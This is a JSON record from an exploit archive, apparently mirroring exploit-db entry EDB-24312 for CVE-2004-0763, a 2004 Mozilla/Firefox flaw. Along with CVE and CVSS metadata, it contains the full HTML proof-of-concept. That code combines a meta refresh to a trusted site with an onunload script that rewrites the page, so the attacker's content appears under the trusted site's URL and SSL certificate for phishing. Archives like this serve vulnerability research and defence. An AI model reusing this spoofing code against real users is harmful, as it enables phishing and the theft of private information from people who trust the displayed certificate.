{"exploit":{"id":"EDB-24312","name":"Mozilla Browser 0.8/0.9/1.x - Refresh Security Property Spoofing","description":"Mozilla Browser 0.8/0.9/1.x - Refresh Security Property Spoofing","cves":["CVE-2004-0763"],"author":"E.Kellinis","published":"2004-07-26","platform":"linux","type":"remote","language":"HTML","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/24312","path":"exploits/linux/remote/24312.html","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-24312.html","vulnerabilities":[{"id":"CVE-2004-0763","state":"PUBLISHED","title":null,"titleSource":null,"description":"Mozilla Firefox 0.9.1 and 0.9.2 allows remote web sites to spoof certificates of trusted web sites via redirects and Javascript that uses the \"onunload\" method.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2004-0763","cvss":{"version":"2.0","baseScore":5,"severity":"medium","vectorString":"AV:N/AC:L/Au:N/C:N/I:P/A:N","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2004-0763"},"updatedAt":"2024-08-08T00:31:47.936Z","retrievedAt":"2026-11-27T01:12:14.110Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-24312.png?v=2","url":"https://exploitbin.com/exploits/EDB-24312","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-24312/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-24312/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"<!--\nsource: https://web.archive.org/web/2004/https://www.securityfocus.com/bid/10796/info\n\nMozilla and Firefox may permit malicious Web pages to spoof security properties of a trusted site.\n\nAn attacker can exploit this issue to spoof the URI and SSL certificate of a site trusted by an unsuspecting user. The attacker can then use this spoofing to steal sensitive or private information, facilitating phishing attacks\n-->\n\n< HTML>\n< HEAD>\n< TITLE>Spoofer< /TITLE>\n< META HTTP-EQUIV=\"REFRESH\" CONTENT=\"0;URL=https://www.example.com\">\n< /HEAD>\n< BODY\nonunload=\"\ndocument.close();\ndocument.writeln('< body onload=document.close();break;>\n< h3>It is Great to Use example's Cert!');\n\ndocument.close();\nwindow.location.reload();\n\">\n< /body>","sha256":"6952cea3861bb62338e36f7992405161f6f2f3376c25242921d5c4219cd0a466","bytes":736,"fetchedAt":"2026-11-27T01:12:10.477Z","encoding":"utf-8 (display only; download retains original bytes)"}